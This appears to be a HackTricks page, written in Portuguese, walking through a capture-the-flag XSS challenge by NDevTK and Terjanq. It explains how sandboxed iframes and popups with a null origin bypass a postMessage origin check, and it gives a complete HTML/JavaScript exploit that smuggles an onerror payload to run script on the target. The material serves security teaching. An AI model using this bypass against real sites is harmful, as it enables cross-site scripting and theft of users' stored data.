Bypassing SOP with Iframes - 1

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Iframes in SOP-1

Neste desafio criado por NDevTK e Terjanq, você precisa explorar um XSS no código.

javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}

O principal problema é que a página principal usa DomPurify para enviar o data.body, então, para enviar seus próprios dados html para esse código, você precisa burlar e.origin !== window.origin.

Vamos ver a solução que eles propõem.

Bypass SOP 1 (e.origin === null)

Quando //example.org é incorporado em um iframe sandboxed, então a origem da página será null, ou seja, window.origin === null. Portanto, apenas incorporando o iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> poderíamos forçar a origem null.

Se a página fosse incorporável, você poderia contornar essa proteção dessa forma (os cookies também podem precisar ser configurados para SameSite=None).

Bypass SOP 2 (window.origin === null)

O fato menos conhecido é que quando o valor sandbox allow-popups está definido, então o popup aberto irá herdar todos os atributos sandboxed a menos que allow-popups-to-escape-sandbox esteja definido.
Assim, abrir um popup de uma origem nula fará com que window.origin dentro do popup também seja null.

Solução do Desafio

Portanto, para este desafio, pode-se criar um iframe, abrir um popup para a página com o manipulador de código XSS vulnerável (/iframe.php), como window.origin === e.origin porque ambos são null, é possível enviar um payload que irá explorar o XSS.

Esse payload obterá o identificador e enviará um XSS de volta para a página principal (a página que abriu o popup), que irá mudar de localização para o vulnerável /iframe.php. Como o identificador é conhecido, não importa que a condição window.origin === e.origin não seja satisfeita (lembre-se, a origem é o popup do iframe que tem origem null) porque data.identifier === identifier. Então, o XSS será acionado novamente, desta vez na origem correta.

html
<body>
<script>
f = document.createElement("iframe")

// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks